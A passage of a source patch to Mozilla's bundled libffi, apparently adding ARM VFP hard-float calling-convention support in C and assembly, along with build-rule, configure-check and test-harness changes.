@am__quote@src/x86/$(DEPDIR)/unix64.Plo@am__quote@ @AMDEP_TRUE@@am__include@ @am__quote@src/x86/$(DEPDIR)/win32.Plo@am__quote@ @AMDEP_TRUE@@am__include@ @am__quote@src/x86/$(DEPDIR)/win64.Plo@am__quote@ -.S.o: +%.o: %.S @am__fastdepCCAS_TRUE@ depbase=`echo $@ | sed 's|[^/]*$$|$(DEPDIR)/&|;s|\.o$$||'`;\ @am__fastdepCCAS_TRUE@ $(CPPASCOMPILE) -MT $@ -MD -MP -MF $$depbase.Tpo -c -o $@ $< &&\ @am__fastdepCCAS_TRUE@ $(am__mv) $$depbase.Tpo $$depbase.Po @AMDEP_TRUE@@am__fastdepCCAS_FALSE@ source='$<' object='$@' libtool=no @AMDEPBACKSLASH@ @AMDEP_TRUE@@am__fastdepCCAS_FALSE@ DEPDIR=$(DEPDIR) $(CCASDEPMODE) $(depcomp) @AMDEPBACKSLASH@ @am__fastdepCCAS_FALSE@ $(CPPASCOMPILE) -c -o $@ $< -.S.obj: +%.obj: %.S @am__fastdepCCAS_TRUE@ depbase=`echo $@ | sed 's|[^/]*$$|$(DEPDIR)/&|;s|\.obj$$||'`;\ @am__fastdepCCAS_TRUE@ $(CPPASCOMPILE) -MT $@ -MD -MP -MF $$depbase.Tpo -c -o $@ `$(CYGPATH_W) '$<'` &&\ @am__fastdepCCAS_TRUE@ $(am__mv) $$depbase.Tpo $$depbase.Po @AMDEP_TRUE@@am__fastdepCCAS_FALSE@ source='$<' object='$@' libtool=no @AMDEPBACKSLASH@ @AMDEP_TRUE@@am__fastdepCCAS_FALSE@ DEPDIR=$(DEPDIR) $(CCASDEPMODE) $(depcomp) @AMDEPBACKSLASH@ @am__fastdepCCAS_FALSE@ $(CPPASCOMPILE) -c -o $@ `$(CYGPATH_W) '$<'` -.S.lo: +%.lo: %.S @am__fastdepCCAS_TRUE@ depbase=`echo $@ | sed 's|[^/]*$$|$(DEPDIR)/&|;s|\.lo$$||'`;\ @am__fastdepCCAS_TRUE@ $(LTCPPASCOMPILE) -MT $@ -MD -MP -MF $$depbase.Tpo -c -o $@ $< &&\ @am__fastdepCCAS_TRUE@ $(am__mv) $$depbase.Tpo $$depbase.Plo @AMDEP_TRUE@@am__fastdepCCAS_FALSE@ source='$<' object='$@' libtool=yes @AMDEPBACKSLASH@ @AMDEP_TRUE@@am__fastdepCCAS_FALSE@ DEPDIR=$(DEPDIR) $(CCASDEPMODE) $(depcomp) @AMDEPBACKSLASH@ @am__fastdepCCAS_FALSE@ $(LTCPPASCOMPILE) -c -o $@ $< -.c.o: +%.o: %.c @am__fastdepCC_TRUE@ depbase=`echo $@ | sed 's|[^/]*$$|$(DEPDIR)/&|;s|\.o$$||'`;\ @am__fastdepCC_TRUE@ $(COMPILE) -MT $@ -MD -MP -MF $$depbase.Tpo -c -o $@ $< &&\ @am__fastdepCC_TRUE@ $(am__mv) $$depbase.Tpo $$depbase.Po @AMDEP_TRUE@@am__fastdepCC_FALSE@ source='$<' object='$@' libtool=no @AMDEPBACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@ @am__fastdepCC_FALSE@ $(COMPILE) -c -o $@ $< -.c.obj: +%.obj: %.c @am__fastdepCC_TRUE@ depbase=`echo $@ | sed 's|[^/]*$$|$(DEPDIR)/&|;s|\.obj$$||'`;\ @am__fastdepCC_TRUE@ $(COMPILE) -MT $@ -MD -MP -MF $$depbase.Tpo -c -o $@ `$(CYGPATH_W) '$<'` &&\ @am__fastdepCC_TRUE@ $(am__mv) $$depbase.Tpo $$depbase.Po @AMDEP_TRUE@@am__fastdepCC_FALSE@ source='$<' object='$@' libtool=no @AMDEPBACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@ @am__fastdepCC_FALSE@ $(COMPILE) -c -o $@ `$(CYGPATH_W) '$<'` -.c.lo: +%.lo: %.c @am__fastdepCC_TRUE@ depbase=`echo $@ | sed 's|[^/]*$$|$(DEPDIR)/&|;s|\.lo$$||'`;\ @am__fastdepCC_TRUE@ $(LTCOMPILE) -MT $@ -MD -MP -MF $$depbase.Tpo -c -o $@ $< &&\ @am__fastdepCC_TRUE@ $(am__mv) $$depbase.Tpo $$depbase.Plo @AMDEP_TRUE@@am__fastdepCC_FALSE@ source='$<' object='$@' libtool=yes @AMDEPBACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@ @am__fastdepCC_FALSE@ $(LTCOMPILE) -c -o $@ $< mostlyclean-libtool: @@ -1129,17 +1129,17 @@ $(srcdir)/doc/stamp-vti: doc/libffi.texi $(top_srcdir)/configure -@rm -f vti.tmp @cp $(srcdir)/doc/version.texi $@ mostlyclean-vti: -rm -f vti.tmp maintainer-clean-vti: @MAINTAINER_MODE_TRUE@ -rm -f $(srcdir)/doc/stamp-vti $(srcdir)/doc/version.texi -.dvi.ps: +%.ps: %.dvi TEXINPUTS="$(am__TEXINFO_TEX_DIR)$(PATH_SEPARATOR)$$TEXINPUTS" \ $(DVIPS) -o $@ $< uninstall-dvi-am: @$(NORMAL_UNINSTALL) @list='$(DVIS)'; test -n "$(dvidir)" || list=; \ for p in $$list; do \ $(am__strip_dir) \ diff --git a/js/src/ctypes/libffi/configure b/js/src/ctypes/libffi/configure --- a/js/src/ctypes/libffi/configure +++ b/js/src/ctypes/libffi/configure @@ -8903,17 +8903,17 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi # Tell ltmain to make .dll files, not .so files. shrext_cmds=".dll" # FIXME: Setting linknames here is a bad hack. archive_cmds='$CC -o $lib $libobjs $compiler_flags `$ECHO "X$deplibs" | $Xsed -e '\''s/ -lc$//'\''` -link -dll~linknames=' # The linker will automatically build a .lib file if we build a DLL. old_archive_from_new_cmds='true' # FIXME: Should let the user specify the lib program. old_archive_cmds='lib -OUT:$oldlib$oldobjs$old_deplibs' - fix_srcfile_path='`cygpath -w "$srcfile"`' + fix_srcfile_path='' enable_shared_with_static_runtimes=yes ;; darwin* | rhapsody*) archive_cmds_need_lc=no hardcode_direct=no @@ -12270,20 +12270,20 @@ fi if test x$TARGET = xX86 || test x$TARGET = xX86_WIN32 || test x$TARGET = xX86_64; then { $as_echo "$as_me:${as_lineno-$LINENO}: checking assembler supports pc related relocs" >&5 $as_echo_n "checking assembler supports pc related relocs... " >&6; } if test "${libffi_cv_as_x86_pcrel+set}" = set; then : $as_echo_n "(cached) " >&6 else - libffi_cv_as_x86_pcrel=yes + libffi_cv_as_x86_pcrel=no echo '.text; foo: nop; .data; .long foo-.; .text' > conftest.s - if $CC $CFLAGS -c conftest.s 2>&1 | $EGREP -i 'illegal|warning' > /dev/null; then - libffi_cv_as_x86_pcrel=no + if $CC $CFLAGS -c conftest.s > /dev/null; then + libffi_cv_as_x86_pcrel=yes fi fi { $as_echo "$as_me:${as_lineno-$LINENO}: result: $libffi_cv_as_x86_pcrel" >&5 $as_echo "$libffi_cv_as_x86_pcrel" >&6; } if test "x$libffi_cv_as_x86_pcrel" = xyes; then $as_echo "#define HAVE_AS_X86_PCREL 1" >>confdefs.h diff --git a/js/src/ctypes/libffi/src/x86/ffi64.c b/js/src/ctypes/libffi/src/x86/ffi64.c --- a/js/src/ctypes/libffi/src/x86/ffi64.c +++ b/js/src/ctypes/libffi/src/x86/ffi64.c @@ -373,29 +373,29 @@ ffi_prep_cif_machdep (ffi_cif *cif) || gprcount + ngpr > MAX_GPR_REGS || ssecount + nsse > MAX_SSE_REGS) { long align = cif->arg_types[i]->alignment; if (align < 8) align = 8; - bytes = ALIGN(bytes, align); + bytes = ALIGN (bytes, align); bytes += cif->arg_types[i]->size; } else { gprcount += ngpr; ssecount += nsse; } } if (ssecount) flags |= 1 << 11; cif->flags = flags; - cif->bytes = bytes; + cif->bytes = ALIGN (bytes, 8); return FFI_OK; } void ffi_call (ffi_cif *cif, void (*fn)(void), void *rvalue, void **avalue) { enum x86_64_reg_class classes[MAX_CLASSES]; diff --git a/js/src/ctypes/libffi/src/arm/ffi.c b/js/src/ctypes/libffi/src/arm/ffi.c --- a/js/src/ctypes/libffi/src/arm/ffi.c +++ b/js/src/ctypes/libffi/src/arm/ffi.c @@ -24,22 +24,30 @@ DEALINGS IN THE SOFTWARE. ----------------------------------------------------------------------- */ #include #include #include -/* ffi_prep_args is called by the assembly routine once stack space - has been allocated for the function's arguments */ +/* Forward declares. */ +static int vfp_type_p (ffi_type *); +static void layout_vfp_args (ffi_cif *); -void ffi_prep_args(char *stack, extended_cif *ecif) +/* ffi_prep_args is called by the assembly routine once stack space + has been allocated for the function's arguments + + The vfp_space parameter is the load area for VFP regs, the return + value is cif->vfp_used (word bitset of VFP regs used for passing + arguments). These are only used for the VFP hard-float ABI. +*/ +int ffi_prep_args(char *stack, extended_cif *ecif, float *vfp_space) { - register unsigned int i; + register unsigned int i, vi = 0; register void **p_argv; register char *argp; register ffi_type **p_arg; argp = stack; if ( ecif->cif->flags == FFI_TYPE_STRUCT ) { *(void **) argp = ecif->rvalue; @@ -49,16 +57,31 @@ void ffi_prep_args(char *stack, extended_cif *ecif) p_argv = ecif->avalue; for (i = ecif->cif->nargs, p_arg = ecif->cif->arg_types; (i != 0); i--, p_arg++) { size_t z; + /* Allocated in VFP registers. */ + if (ecif->cif->abi == FFI_VFP + && vi < ecif->cif->vfp_nargs && vfp_type_p (*p_arg)) + { + float* vfp_slot = vfp_space + ecif->cif->vfp_args[vi++]; + if ((*p_arg)->type == FFI_TYPE_FLOAT) + *((float*)vfp_slot) = *((float*)*p_argv); + else if ((*p_arg)->type == FFI_TYPE_DOUBLE) + *((double*)vfp_slot) = *((double*)*p_argv); + else + memcpy(vfp_slot, *p_argv, (*p_arg)->size); + p_argv++; + continue; + } + /* Align if necessary */ if (((*p_arg)->alignment - 1) & (unsigned) argp) { argp = (char *) ALIGN(argp, (*p_arg)->alignment); } if ((*p_arg)->type == FFI_TYPE_STRUCT) argp = (char *) ALIGN(argp, 4); @@ -98,23 +121,25 @@ void ffi_prep_args(char *stack, extended_cif *ecif) } else { memcpy(argp, *p_argv, z); } p_argv++; argp += z; } - - return; + + /* Indicate the VFP registers used. */ + return ecif->cif->vfp_used; } /* Perform machine dependent cif processing */ ffi_status ffi_prep_cif_machdep(ffi_cif *cif) { + int type_code; /* Round the stack up to a multiple of 8 bytes. This isn't needed everywhere, but it is on some platforms, and it doesn't harm anything when it isn't needed. */ cif->bytes = (cif->bytes + 7) & ~7; /* Set the return type flag */ switch (cif->rtype->type) { @@ -125,137 +150,176 @@ ffi_status ffi_prep_cif_machdep(ffi_cif *cif) break; case FFI_TYPE_SINT64: case FFI_TYPE_UINT64: cif->flags = (unsigned) FFI_TYPE_SINT64; break; case FFI_TYPE_STRUCT: - if (cif->rtype->size <= 4) + if (cif->abi == FFI_VFP + && (type_code = vfp_type_p (cif->rtype)) != 0) + { + /* A Composite Type passed in VFP registers, either + FFI_TYPE_STRUCT_VFP_FLOAT or FFI_TYPE_STRUCT_VFP_DOUBLE. */ + cif->flags = (unsigned) type_code; + } + else if (cif->rtype->size <= 4) /* A Composite Type not larger than 4 bytes is returned in r0. */ cif->flags = (unsigned)FFI_TYPE_INT; else /* A Composite Type larger than 4 bytes, or whose size cannot be determined statically ... is stored in memory at an address passed [in r0]. */ cif->flags = (unsigned)FFI_TYPE_STRUCT; break; default: cif->flags = FFI_TYPE_INT; break; } + /* Map out the register placements of VFP register args. + The VFP hard-float calling conventions are slightly more sophisticated than + the base calling conventions, so we do it here instead of in ffi_prep_args(). */ + if (cif->abi == FFI_VFP) + layout_vfp_args (cif); + return FFI_OK; } -extern void ffi_call_SYSV(void (*)(char *, extended_cif *), extended_cif *, - unsigned, unsigned, unsigned *, void (*fn)(void)); +/* Prototypes for assembly functions, in sysv.S */ +extern void ffi_call_SYSV (void (*fn)(void), extended_cif *, unsigned, unsigned, unsigned *); +extern void ffi_call_VFP (void (*fn)(void), extended_cif *, unsigned, unsigned, unsigned *); void ffi_call(ffi_cif *cif, void (*fn)(void), void *rvalue, void **avalue) { extended_cif ecif; int small_struct = (cif->flags == FFI_TYPE_INT && cif->rtype->type == FFI_TYPE_STRUCT); + int vfp_struct = (cif->flags == FFI_TYPE_STRUCT_VFP_FLOAT + || cif->flags == FFI_TYPE_STRUCT_VFP_DOUBLE); ecif.cif = cif; ecif.avalue = avalue; unsigned int temp; /* If the return value is a struct and we don't have a return */ /* value address then we need to make one */ if ((rvalue == NULL) && (cif->flags == FFI_TYPE_STRUCT)) { ecif.rvalue = alloca(cif->rtype->size); } else if (small_struct) ecif.rvalue = &temp; + else if (vfp_struct) + { + /* Largest case is double x 4. */ + ecif.rvalue = alloca(32); + } else ecif.rvalue = rvalue; switch (cif->abi) { case FFI_SYSV: - ffi_call_SYSV(ffi_prep_args, &ecif, cif->bytes, cif->flags, ecif.rvalue, - fn); + ffi_call_SYSV (fn, &ecif, cif->bytes, cif->flags, ecif.rvalue); + break; + case FFI_VFP: + ffi_call_VFP (fn, &ecif, cif->bytes, cif->flags, ecif.rvalue); break; + default: FFI_ASSERT(0); break; } if (small_struct) memcpy (rvalue, &temp, cif->rtype->size); + else if (vfp_struct) + memcpy (rvalue, ecif.rvalue, cif->rtype->size); } /** private members **/ static void ffi_prep_incoming_args_SYSV (char *stack, void **ret, - void** args, ffi_cif* cif); + void** args, ffi_cif* cif, float *vfp_stack); void ffi_closure_SYSV (ffi_closure *); +void ffi_closure_VFP (ffi_closure *); + /* This function is jumped to by the trampoline */ unsigned int -ffi_closure_SYSV_inner (closure, respp, args) +ffi_closure_SYSV_inner (closure, respp, args, vfp_args) ffi_closure *closure; void **respp; void *args; + void *vfp_args; { // our various things... ffi_cif *cif; void **arg_area; cif = closure->cif; arg_area = (void**) alloca (cif->nargs * sizeof (void*)); /* this call will initialize ARG_AREA, such that each * element in that array points to the corresponding * value on the stack; and if the function returns * a structure, it will re-set RESP to point to the * structure return address. */ - ffi_prep_incoming_args_SYSV(args, respp, arg_area, cif); + ffi_prep_incoming_args_SYSV(args, respp, arg_area, cif, vfp_args); (closure->fun) (cif, *respp, arg_area, closure->user_data); return cif->flags; } /*@-exportheader@*/ static void ffi_prep_incoming_args_SYSV(char *stack, void **rvalue, - void **avalue, ffi_cif *cif) + void **avalue, ffi_cif *cif, + /* Used only under VFP hard-float ABI. */ + float *vfp_stack) /*@=exportheader@*/ { - register unsigned int i; + register unsigned int i, vi = 0; register void **p_argv; register char *argp; register ffi_type **p_arg; argp = stack; if ( cif->flags == FFI_TYPE_STRUCT ) { *rvalue = *(void **) argp; argp += 4; } p_argv = avalue; for (i = cif->nargs, p_arg = cif->arg_types; (i != 0); i--, p_arg++) { size_t z; - - size_t alignment = (*p_arg)->alignment; + size_t alignment; + + if (cif->abi == FFI_VFP + && vi < cif->vfp_nargs && vfp_type_p (*p_arg)) + { + *p_argv++ = (void*)(vfp_stack + cif->vfp_args[vi++]); + continue; + } + + alignment = (*p_arg)->alignment; if (alignment < 4) alignment = 4; /* Align if necessary */ if ((alignment - 1) & (unsigned) argp) { argp = (char *) ALIGN(argp, alignment); } z = (*p_arg)->size; @@ -290,20 +354,147 @@ ffi_prep_incoming_args_SYSV(char *stack, void **rvalue, ffi_status ffi_prep_closure_loc (ffi_closure* closure, ffi_cif* cif, void (*fun)(ffi_cif*,void*,void**,void*), void *user_data, void *codeloc) { - FFI_ASSERT (cif->abi == FFI_SYSV); + void (*closure_func)(ffi_closure*) = NULL; + if (cif->abi == FFI_SYSV) + closure_func = &ffi_closure_SYSV; + else if (cif->abi == FFI_VFP) + closure_func = &ffi_closure_VFP; + else + FFI_ASSERT (0); + FFI_INIT_TRAMPOLINE (&closure->tramp[0], \ - &ffi_closure_SYSV, \ + closure_func, \ codeloc); closure->cif = cif; closure->user_data = user_data; closure->fun = fun; return FFI_OK; } + +/* Below are routines for VFP hard-float support. */ + +static int rec_vfp_type_p (ffi_type *t, int *elt, int *elnum) +{ + switch (t->type) + { + case FFI_TYPE_FLOAT: + case FFI_TYPE_DOUBLE: + *elt = (int) t->type; + *elnum = 1; + return 1; + + case FFI_TYPE_STRUCT_VFP_FLOAT: + *elt = FFI_TYPE_FLOAT; + *elnum = t->size / sizeof (float); + return 1; + + case FFI_TYPE_STRUCT_VFP_DOUBLE: + *elt = FFI_TYPE_DOUBLE; + *elnum = t->size / sizeof (double); + return 1; + + case FFI_TYPE_STRUCT:; + { + int base_elt = 0, total_elnum = 0; + ffi_type **el = t->elements; + while (*el) + { + int el_elt = 0, el_elnum = 0; + if (! rec_vfp_type_p (*el, &el_elt, &el_elnum) + || (base_elt && base_elt != el_elt) + || total_elnum + el_elnum > 4) + return 0; + base_elt = el_elt; + total_elnum += el_elnum; + el++; + } + *elnum = total_elnum; + *elt = base_elt; + return 1; + } + default: ; + } + return 0; +} + +static int vfp_type_p (ffi_type *t) +{ + int elt, elnum; + if (rec_vfp_type_p (t, &elt, &elnum)) + { + if (t->type == FFI_TYPE_STRUCT) + { + if (elnum == 1) + t->type = elt; + else + t->type = (elt == FFI_TYPE_FLOAT + ? FFI_TYPE_STRUCT_VFP_FLOAT + : FFI_TYPE_STRUCT_VFP_DOUBLE); + } + return (int) t->type; + } + return 0; +} + +static void place_vfp_arg (ffi_cif *cif, ffi_type *t) +{ + int reg = cif->vfp_reg_free; + int nregs = t->size / sizeof (float); + int align = ((t->type == FFI_TYPE_STRUCT_VFP_FLOAT + || t->type == FFI_TYPE_FLOAT) ? 1 : 2); + /* Align register number. */ + if ((reg & 1) && align == 2) + reg++; + while (reg + nregs <= 16) + { + int s, new_used = 0; + for (s = reg; s < reg + nregs; s++) + { + new_used |= (1 << s); + if (cif->vfp_used & (1 << s)) + { + reg += align; + goto next_reg; + } + } + /* Found regs to allocate. */ + cif->vfp_used |= new_used; + cif->vfp_args[cif->vfp_nargs++] = reg; + + /* Update vfp_reg_free. */ + if (cif->vfp_used & (1 << cif->vfp_reg_free)) + { + reg += nregs; + while (cif->vfp_used & (1 << reg)) + reg += 1; + cif->vfp_reg_free = reg; + } + return; + next_reg: ; + } +} + +static void layout_vfp_args (ffi_cif *cif) +{ + int i; + /* Init VFP fields */ + cif->vfp_used = 0; + cif->vfp_nargs = 0; + cif->vfp_reg_free = 0; + memset (cif->vfp_args, -1, 16); /* Init to -1. */ + + for (i = 0; i < cif->nargs; i++) + { + ffi_type *t = cif->arg_types[i]; + if (vfp_type_p (t)) + place_vfp_arg (cif, t); + } +} diff --git a/js/src/ctypes/libffi/src/arm/ffitarget.h b/js/src/ctypes/libffi/src/arm/ffitarget.h --- a/js/src/ctypes/libffi/src/arm/ffitarget.h +++ b/js/src/ctypes/libffi/src/arm/ffitarget.h @@ -29,21 +29,35 @@ #ifndef LIBFFI_ASM typedef unsigned long ffi_arg; typedef signed long ffi_sarg; typedef enum ffi_abi { FFI_FIRST_ABI = 0, FFI_SYSV, + FFI_VFP, FFI_LAST_ABI, +#ifdef __ARM_PCS_VFP + FFI_DEFAULT_ABI = FFI_VFP +#else FFI_DEFAULT_ABI = FFI_SYSV +#endif } ffi_abi; #endif +#define FFI_EXTRA_CIF_FIELDS \ + int vfp_used; \ + short vfp_reg_free, vfp_nargs; \ + signed char vfp_args[16] \ + +/* Internally used. */ +#define FFI_TYPE_STRUCT_VFP_FLOAT (FFI_TYPE_LAST + 1) +#define FFI_TYPE_STRUCT_VFP_DOUBLE (FFI_TYPE_LAST + 2) + /* ---- Definitions for closures ----------------------------------------- */ #define FFI_CLOSURES 1 #define FFI_TRAMPOLINE_SIZE 20 #define FFI_NATIVE_RAW_API 0 #endif diff --git a/js/src/ctypes/libffi/src/arm/sysv.S b/js/src/ctypes/libffi/src/arm/sysv.S --- a/js/src/ctypes/libffi/src/arm/sysv.S +++ b/js/src/ctypes/libffi/src/arm/sysv.S @@ -137,54 +137,52 @@ _L__\name: ldr\cond pc, [sp], #4 .else ldm\cond\dirn sp!, {\regs, pc} .endif #endif .endm - @ r0: ffi_prep_args + @ r0: fn @ r1: &ecif @ r2: cif->bytes @ r3: fig->flags @ sp+0: ecif.rvalue - @ sp+4: fn @ This assumes we are using gas. ARM_FUNC_START ffi_call_SYSV @ Save registers stmfd sp!, {r0-r3, fp, lr} UNWIND .save {r0-r3, fp, lr} mov fp, sp UNWIND .setfp fp, sp @ Make room for all of the new args. sub sp, fp, r2 @ Place all of the ffi_prep_args in position - mov ip, r0 mov r0, sp @ r1 already set @ Call ffi_prep_args(stack, &ecif) - call_reg(ip) + bl ffi_prep_args @ move first 4 parameters in registers ldmia sp, {r0-r3} @ and adjust stack - ldr ip, [fp, #8] - cmp ip, #16 - movhs ip, #16 - add sp, sp, ip + sub lr, fp, sp @ cif->bytes == fp - sp + ldr ip, [fp] @ load fn() in advance + cmp lr, #16 + movhs lr, #16 + add sp, sp, lr @ call (fn) (...) - ldr ip, [fp, #28] call_reg(ip) @ Remove the space we pushed for the args mov sp, fp @ Load r2 with the pointer to storage for the return value ldr r2, [sp, #24] @@ -225,16 +223,111 @@ ARM_FUNC_START ffi_call_SYSV LSYM(Lepilogue): RETLDM "r0-r3,fp" .ffi_call_SYSV_end: UNWIND .fnend .size CNAME(ffi_call_SYSV),.ffi_call_SYSV_end-CNAME(ffi_call_SYSV) + + @ r0: fn + @ r1: &ecif + @ r2: cif->bytes + @ r3: fig->flags + @ sp+0: ecif.rvalue + +ARM_FUNC_START ffi_call_VFP + @ Save registers + stmfd sp!, {r0-r3, fp, lr} + UNWIND .save {r0-r3, fp, lr} + mov fp, sp + UNWIND .setfp fp, sp + + @ Make room for all of the new args. + sub sp, sp, r2 + + @ Make room for loading VFP args + sub sp, sp, #64 + + @ Place all of the ffi_prep_args in position + mov r0, sp + @ r1 already set + sub r2, fp, #64 @ VFP scratch space + + @ Call ffi_prep_args(stack, &ecif, vfp_space) + bl ffi_prep_args + + @ Load VFP register args if needed + cmp r0, #0 + beq LSYM(Lbase_args) + + @ Load only d0 if possible + cmp r0, #3 + sub ip, fp, #64 + flddle d0, [ip] + fldmiadgt ip, {d0-d7} + +LSYM(Lbase_args): + @ move first 4 parameters in registers + ldmia sp, {r0-r3} + + @ and adjust stack + sub lr, ip, sp @ cif->bytes == (fp - 64) - sp + ldr ip, [fp] @ load fn() in advance + cmp lr, #16 + movhs lr, #16 + add sp, sp, lr + + @ call (fn) (...) + call_reg(ip) + + @ Remove the space we pushed for the args + mov sp, fp + + @ Load r2 with the pointer to storage for + @ the return value + ldr r2, [sp, #24] + + @ Load r3 with the return type code + ldr r3, [sp, #12] + + @ If the return value pointer is NULL, + @ assume no return value. + cmp r2, #0 + beq LSYM(Lepilogue_vfp) + + cmp r3, #FFI_TYPE_INT + streq r0, [r2] + beq LSYM(Lepilogue_vfp) + + cmp r3, #FFI_TYPE_SINT64 + stmeqia r2, {r0, r1} + beq LSYM(Lepilogue_vfp) + + cmp r3, #FFI_TYPE_FLOAT + fstseq s0, [r2] + beq LSYM(Lepilogue_vfp) + + cmp r3, #FFI_TYPE_DOUBLE + fstdeq d0, [r2] + beq LSYM(Lepilogue_vfp) + + cmp r3, #FFI_TYPE_STRUCT_VFP_FLOAT + cmpne r3, #FFI_TYPE_STRUCT_VFP_DOUBLE + fstmiadeq r2, {d0-d3} + +LSYM(Lepilogue_vfp): + RETLDM "r0-r3,fp" + +.ffi_call_VFP_end: + UNWIND .fnend + .size CNAME(ffi_call_VFP),.ffi_call_VFP_end-CNAME(ffi_call_VFP) + + /* unsigned int FFI_HIDDEN ffi_closure_SYSV_inner (closure, respp, args) ffi_closure *closure; void **respp; void *args; */ @@ -297,11 +390,73 @@ ARM_FUNC_START ffi_closure_SYSV ldfd f0, [sp] b .Lclosure_epilogue #endif .ffi_closure_SYSV_end: UNWIND .fnend .size CNAME(ffi_closure_SYSV),.ffi_closure_SYSV_end-CNAME(ffi_closure_SYSV) + +ARM_FUNC_START ffi_closure_VFP + fstmfdd sp!, {d0-d7} + @ r0-r3, then d0-d7 + UNWIND .pad #80 + add ip, sp, #80 + stmfd sp!, {ip, lr} + UNWIND .save {r0, lr} + add r2, sp, #72 + add r3, sp, #8 + .pad #72 + sub sp, sp, #72 + str sp, [sp, #64] + add r1, sp, #64 + bl ffi_closure_SYSV_inner + + cmp r0, #FFI_TYPE_INT + beq .Lretint_vfp + + cmp r0, #FFI_TYPE_FLOAT + beq .Lretfloat_vfp + + cmp r0, #FFI_TYPE_DOUBLE + cmpne r0, #FFI_TYPE_LONGDOUBLE + beq .Lretdouble_vfp + + cmp r0, #FFI_TYPE_SINT64 + beq .Lretlonglong_vfp + + cmp r0, #FFI_TYPE_STRUCT_VFP_FLOAT + beq .Lretfloat_struct_vfp + + cmp r0, #FFI_TYPE_STRUCT_VFP_DOUBLE + beq .Lretdouble_struct_vfp + +.Lclosure_epilogue_vfp: + add sp, sp, #72 + ldmfd sp, {sp, pc} + +.Lretfloat_vfp: + flds s0, [sp] + b .Lclosure_epilogue_vfp +.Lretdouble_vfp: + fldd d0, [sp] + b .Lclosure_epilogue_vfp +.Lretint_vfp: + ldr r0, [sp] + b .Lclosure_epilogue_vfp +.Lretlonglong_vfp: + ldmia sp, {r0, r1} + b .Lclosure_epilogue_vfp +.Lretfloat_struct_vfp: + fldmiad sp, {d0-d1} + b .Lclosure_epilogue_vfp +.Lretdouble_struct_vfp: + fldmiad sp, {d0-d3} + b .Lclosure_epilogue_vfp + +.ffi_closure_VFP_end: + UNWIND .fnend + .size CNAME(ffi_closure_VFP),.ffi_closure_VFP_end-CNAME(ffi_closure_VFP) + #if defined __ELF__ && defined __linux__ .section .note.GNU-stack,"",%progbits #endif diff --git a/js/src/ctypes/libffi/testsuite/lib/libffi-dg.exp b/js/src/ctypes/libffi/testsuite/lib/libffi-dg.exp --- a/js/src/ctypes/libffi/testsuite/lib/libffi-dg.exp +++ b/js/src/ctypes/libffi/testsuite/lib/libffi-dg.exp @@ -261,16 +261,66 @@ proc dg-xfail-if { args } { set args [lreplace $args 0 0] set selector "target [join [lindex $args 1]]" if { [dg-process-target $selector] == "S" } { global compiler_conditional_xfail_data set compiler_conditional_xfail_data $args } } +proc check-flags { args } { + + # The args are within another list; pull them out. + set args [lindex $args 0] + + # The next two arguments are optional. If they were not specified, + # use the defaults. + if { [llength $args] == 2 } { + lappend $args [list "*"] + } + if { [llength $args] == 3 } { + lappend $args [list ""] + } + + # If the option strings are the defaults, or the same as the + # defaults, there is no need to call check_conditional_xfail to + # compare them to the actual options. + if { [string compare [lindex $args 2] "*"] == 0 + && [string compare [lindex $args 3] "" ] == 0 } { + set result 1 + } else { + # The target list might be an effective-target keyword, so replace + # the original list with "*-*-*", since we already know it matches. + set result [check_conditional_xfail [lreplace $args 1 1 "*-*-*"]] + } + + return $result +} + +proc dg-skip-if { args } { + # Verify the number of arguments. The last two are optional. + set args [lreplace $args 0 0] + if { [llength $args] < 2 || [llength $args] > 4 } { + error "dg-skip-if 2: need 2, 3, or 4 arguments" + } + + # Don't bother if we're already skipping the test. + upvar dg-do-what dg-do-what + if { [lindex ${dg-do-what} 1] == "N" } { + return + } + + set selector [list target [lindex $args 1]] + if { [dg-process-target $selector] == "S" } { + if [check-flags $args] { + upvar dg-do-what dg-do-what + set dg-do-what [list [lindex ${dg-do-what} 0] "N" "P"] + } + } +} # We need to make sure that additional_files and additional_sources # are both cleared out after every test. It is not enough to clear # them out *before* the next test run because gcc-target-compile gets # run directly from some .exp files (outside of any test). (Those # uses should eventually be eliminated.) # Because the DG framework doesn't provide a hook that is run at the diff --git a/js/src/ctypes/libffi/testsuite/libffi.call/cls_double_va.c b/js/src/ctypes/libffi/testsuite/libffi.call/cls_double_va.c --- a/js/src/ctypes/libffi/testsuite/libffi.call/cls_double_va.c +++ b/js/src/ctypes/libffi/testsuite/libffi.call/cls_double_va.c @@ -1,16 +1,18 @@ /* Area: ffi_call, closure_call Purpose: Test doubles passed in variable argument lists. Limitations: none. PR: none. Originator: Blake Chaffin 6/6/2007 */ /* { dg-do run { xfail strongarm*-*-* xscale*-*-* } } */ /* { dg-output "" { xfail avr32*-*-* } } */ +/* { dg-skip-if "" arm*-*-* { "-mfloat-abi=hard" } { "" } } */ + #include "ffitest.h" static void cls_double_va_fn(ffi_cif* cif __UNUSED__, void* resp, void** args, void* userdata __UNUSED__) { char* format = *(char**)args[0]; double doubleValue = *(double*)args[1]; diff --git a/js/src/ctypes/libffi/testsuite/libffi.call/cls_longdouble_va.c b/js/src/ctypes/libffi/testsuite/libffi.call/cls_longdouble_va.c --- a/js/src/ctypes/libffi/testsuite/libffi.call/cls_longdouble_va.c +++ b/js/src/ctypes/libffi/testsuite/libffi.call/cls_longdouble_va.c @@ -1,16 +1,18 @@ /* Area: ffi_call, closure_call Purpose: Test long doubles passed in variable argument lists. Limitations: none. PR: none. Originator: Blake Chaffin 6/6/2007 */ /* { dg-do run { xfail strongarm*-*-* xscale*-*-* } } */ /* { dg-output "" { xfail avr32*-*-* x86_64-*-mingw* } } */ +/* { dg-skip-if "" arm*-*-* { "-mfloat-abi=hard" } { "" } } */ + #include "ffitest.h" static void cls_longdouble_va_fn(ffi_cif* cif __UNUSED__, void* resp, void** args, void* userdata __UNUSED__) { char* format = *(char**)args[0]; long double ldValue = *(long double*)args[1]; diff --git a/js/src/ctypes/libffi/include/ffi.h.in b/js/src/ctypes/libffi/include/ffi.h.in --- a/js/src/ctypes/libffi/include/ffi.h.in +++ b/js/src/ctypes/libffi/include/ffi.h.in @@ -72,25 +72,37 @@ extern "C" 